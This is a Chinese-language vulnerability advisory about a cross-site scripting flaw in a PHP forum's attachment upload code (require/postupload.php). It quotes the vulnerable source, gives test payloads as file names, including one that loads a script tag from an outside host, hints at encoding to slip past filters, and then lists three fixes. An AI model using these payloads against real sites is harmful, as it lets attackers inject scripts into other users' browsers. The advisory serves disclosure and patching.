漏洞产生: require\postupload.php文件对atc_attachment_name变量过滤不严,导致跨站脚本执行漏洞,可能引起站点被嵌入恶意代码。 记忆碎片最早提供了一个测试效果:
漏洞代码分析: 以下是require\postupload.php文件引起问题的源代码:
以下是引用片段: $source = $db_ifftp ? $db_ftpweb."/".$fileuplodeurl : $attachdir.'/'.$fileuplodeurl; //版块id_文件名_时间.类型 if($db_ifftp){ $ftpsize=$ftp->upload($atc_attachment,$fileuplodeurl); } elseif(!postupload($atc_attachment,$source)){ Showmsg('upload_error'); } if(eregi("\.(gif|jpg|png|bmp|swf)$",$atc_attachment_name) && function_exists('getimagesize')){//这里只过滤了扩展名 if(!$img_size=getimagesize($source)){ $db_ifftp ? $ftp->delete($fileuplodeurl) : P_unlink($source); Showmsg('upload_content_error'); } if(!$db_ifftp && $attach_ext!='swf' && $db_watermark && $img_size[0]>$db_waterwidth && $img_size[1]>$db_waterheight){ if (function_exists('imagecreatefromgif') && function_exists('imagealphablending') && ($attach_ext!='gif' || function_exists('imagegif') && ($db_ifgif==2 || $db_ifgif==1 && in_array(PHP_VERSION,array('4.4.3','4.4.4','5.1.5')))) && ($db_waterimg && function_exists('imagecopymerge') || !$db_waterimg && function_exists('imagettfbbox'))){ require_once(R_P.'require/watermark.php'); ImgWaterMark($source,$db_waterpos,$db_waterimg,$db_watertext,$db_waterfont,$db_watercolor,$db_waterpct,$db_jpgquality); } } } if(eregi("\.(gif|jpg|jpeg|png|bmp|swf)$",$atc_attachment_name)){//这里只过滤了扩展名 $ifupload=1; if(eregi("\.swf$",$atc_attachment_name)){//这里只过滤了扩展名 $type='zip'; }else{ $type='img'; } } elseif(eregi("\.(zip|rar)$",$atc_attachment_name)){//这里只过滤了扩展名 $ifupload=3; $type='zip'; } elseif(eregi("\.txt$",$atc_attachment_name)){//这里只过滤了扩展名 $safecheckdb = $db_ifftp ? (function_exists('file_get_contents') ? file_get_contents($source) : '') : readover($source); if (strpos($safecheckdb,"onload")!==false && strpos($safecheckdb,"submit")!==false && strpos($safecheckdb,"post")!==false && strpos($safecheckdb,"form")!==false){ $db_ifftp ? $ftp->delete($fileuplodeurl) : P_unlink($source); Showmsg('upload_content_error'); } else{ $ifupload=2; $type='txt'; } } else{ $ifupload=3; $type='zip'; } $size = $db_ifftp ? ceil($ftpsize/1024) : ceil(filesize("$attachdir/$fileuplodeurl")/1024); $atc_attachment_name=addslashes($atc_attachment_name); if($ifreplace==0){//下面已经准备提交到数据库 $db->update("insert INTO pw_attachs SET fid='$fid',uid='$winduid',hits=0,name='$atc_attachment_name',type='$type',size='$size',attachurl='$fileuplodeurl',needrvrc='$needrvrc',uploadtime='$timestamp',descrip='$descrip'"); $aid = $db->insert_id(); $attachs[$aid] = array( 'aid' => $aid, 'name' => stripslashes($atc_attachment_name),//取出转译斜线便于入库 'type' => $type, 'attachurl' => $fileuplodeurl, 'needrvrc' => $needrvrc, 'size' => $size, 'hits' => 0, 'desc' => str_replace('\\','',$descrip) ); } else { $aid=$replacedb[$i]['aid']; $db->update("update pw_attachs SET name='$atc_attachment_name',type='$type',size='$size',attachurl='$fileuplodeurl',needrvrc='$needrvrc',uploadtime='$timestamp',descrip='$descrip' where aid='$aid'"); $oldattach[$aid]['name']=$atc_attachment_name; $oldattach[$aid]['type']=$type; $oldattach[$aid]['size']=$size; } }
| 可以看到postupload.php文件没有对atc_attachment_name这个变量提交的名字进行过滤。
漏洞测试: 测试方法一 下面是zhouzhen提供的测试代码:
以下是引用片段: D:\zhouzhen<img src=http://forum.eviloctal.com/image/wind/logo.png>XXS.rar | 测试方法二 下面是ring04h提供的阴险测试代码加解释:
以下是引用片段: D:\ring04h:<SCRIPT SRC=http://www.diaonilaomu.com/x.js>XSS.rar
| |
因为不能出现//等字符,可以采用ASSIC编码,将可以嵌入恶意脚本。
临时修补: 修补方法一 正则表达式: 在源文件的代码151行后,也就是在MySQL的查询被执行之前,做一次最后的文件名过滤。
以下是引用片段: if(isset($atc_attachment_name)){ if(!eregi("^[_a-z0-9-]+\.(gif|jpg|jpeg|png|bmp|zip|rar|gz|tgz|7z)$",$atc_attachment_name)){//扩展名允许规则请根据自己站点的情况自行更改 echo "Name Fail!"; exit; } } |
修补方法二 字符串替换: 临时解决跨站问题可以过滤掉尖括号符号,使脚本无法构成。 修改源文件的代码157行为如下代码:
以下是引用片段: $atc_attachment_name = stripslashes(str_replace("<","",$atc_attachment_name)); |
修补方法三 登陆你的网站后台到相关官方页面下载补丁 |